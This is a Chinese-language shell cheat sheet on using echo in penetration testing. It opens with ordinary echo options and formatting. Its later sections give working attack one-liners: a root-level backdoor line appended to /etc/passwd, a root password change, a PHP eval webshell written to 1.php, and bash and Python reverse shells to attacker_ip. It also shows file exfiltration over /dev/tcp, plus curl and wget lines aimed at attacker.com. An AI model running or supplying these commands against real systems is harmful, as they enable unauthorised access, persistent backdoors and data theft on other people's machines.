Echo在渗透中的应用

Echo 常见选项

基本选项

bash
# -n: 不输出结尾的换行符
echo -n "Hello"  # 输出: Hello
echo "Hello"     # 输出: Hello\n

# -e: 启用转义字符解释
echo -e "Hello\nWorld"  # 输出: Hello
                        # World

# -E: 禁用转义字符解释（默认）
echo -E "Hello\nWorld"  # 输出: Hello\nWorld

# 常用转义字符
echo -e "\a"     # 响铃
echo -e "\b"     # 退格
echo -e "\c"     # 不换行
echo -e "\f"     # 换页
echo -e "\n"     # 换行
echo -e "\r"     # 回车
echo -e "\t"     # 水平制表符
echo -e "\v"     # 垂直制表符
echo -e "\\"     # 反斜杠

颜色输出

bash
# 文本颜色
echo -e "\033[31m红色文本\033[0m"    # 红色
echo -e "\033[32m绿色文本\033[0m"    # 绿色
echo -e "\033[33m黄色文本\033[0m"    # 黄色
echo -e "\033[34m蓝色文本\033[0m"    # 蓝色
echo -e "\033[35m紫色文本\033[0m"    # 紫色
echo -e "\033[36m青色文本\033[0m"    # 青色

# 背景颜色
echo -e "\033[41m红色背景\033[0m"    # 红色背景
echo -e "\033[42m绿色背景\033[0m"    # 绿色背景
echo -e "\033[43m黄色背景\033[0m"    # 黄色背景

# 文本样式
echo -e "\033[1m粗体文本\033[0m"     # 粗体
echo -e "\033[4m下划线文本\033[0m"   # 下划线
echo -e "\033[5m闪烁文本\033[0m"     # 闪烁

格式化输出

bash
# 使用变量
name="World"
echo "Hello $name"      # 输出: Hello World
echo "Hello ${name}"    # 输出: Hello World

# 命令替换
echo "Current time: $(date)"
echo "Current time: `date`"

# 转义特殊字符
echo "This is a \$dollar sign"    # 输出: This is a $dollar sign
echo "This is a \"quote\""        # 输出: This is a "quote"

文件操作选项

bash
# 追加到文件
echo "new line" >> file.txt

# 覆盖文件
echo "new content" > file.txt

# 创建多行文件
echo -e "line1\nline2\nline3" > multiline.txt

# 使用here文档
echo << EOF > file.txt
line1
line2
line3
EOF

Echo 显示字符串

bash
echo "Hello ICTRUN"
 Hello ICTRUN

echo "$str" Good Evening 
 Good Evening

打开ipv4 ipforward

bash
echo 1 > /proc/sys/net/ipv4/ip_forward

添加root级别用户

bash
echo "hacker:$(openssl passwd -1 -salt 'salt' 'password'):0:0::/:/bin/bash" >> /etc/passwd

修改root密码

bash
echo "root:newpassword" | chpasswd

利用echo -e 无交互修改密码

bash
echo -e "newpassword\nnewpassword" | passwd username

执行命令配合base64

bash
echo "whoami" | base64
echo "d2hvYW1pCg==" | base64 -d | bash

使用Base64写一个php一句话到1.php

bash
echo "<?php eval(base64_decode('ZWNobyAiSGVsbG8gV29ybGQiOw==')); ?>" > 1.php

反弹shell

bash
# Bash反弹shell
echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | bash

# Python反弹shell
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker_ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'" | bash

文件操作

bash
# 创建文件
echo "content" > file.txt

# 追加内容
echo "more content" >> file.txt

# 清空文件
echo "" > file.txt

环境变量操作

bash
# 设置环境变量
echo "export PATH=/new/path:$PATH" >> ~/.bashrc

# 添加代理设置
echo "export http_proxy=http://proxy:port" >> ~/.bashrc

系统配置修改

bash
# 修改系统限制
echo "* soft nofile 65535" >> /etc/security/limits.conf

# 修改内核参数
echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf

传文件

发送文件

bash
# 方法1：使用nc
export LFILE=/tmp/1.tar.gz
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/1.1.1.1/4422'

# 方法2：使用base64
cat file.txt | base64 | echo "$(cat -)" > file.txt.b64

接收文件

bash
# 方法1：使用nc
nc -v -l -p 4422 > 1.tar.gz

# 方法2：使用base64
cat file.txt.b64 | base64 -d > file.txt

文件传输的其他方法

bash
# 使用curl上传文件
echo "curl -F 'file=@/path/to/file' http://attacker.com/upload"

# 使用wget下载文件
echo "wget http://attacker.com/file -O /path/to/save"